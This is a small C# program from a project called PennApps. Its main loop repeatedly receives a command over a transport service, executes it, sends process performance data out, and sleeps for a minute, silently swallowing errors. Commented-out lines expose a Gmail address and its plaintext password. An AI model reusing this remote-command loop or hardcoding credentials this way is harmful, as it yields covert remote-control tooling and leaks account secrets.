﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Diagnostics;

namespace PennApps
{
    class Program
    {
        static void Main(string[] args)
        {
            // var arrary = ProcessPerformanceInformation.CreateProcessPerforanceInformationArray();
            // TransportService.Send(ProcessPerformanceInformation.CreateProcessPerforanceInformationArray());

            //private static string userNameEmail = "momapp2013@gmail.com";
            //private static string password = "liangluo";
            //private static string infoDestinationEmail = "momapp2013@gmail.com";
            //private static string commandDestinationEmail = "momapp2013commands@gmail.com";


            while (true)
            {
                try
                {
                    var cmd = TransportService.ReceiveCommand(false);
                    cmd.Execute();
                    TransportService.Send(ProcessPerformanceInformation.CreateProcessPerforanceInformationArray());
                    System.Threading.Thread.Sleep(60000);
                }
                catch (Exception ex)
                {
                    //Console.WriteLine("EXECUTION FAILED");
                }
            }
        }
    }
}
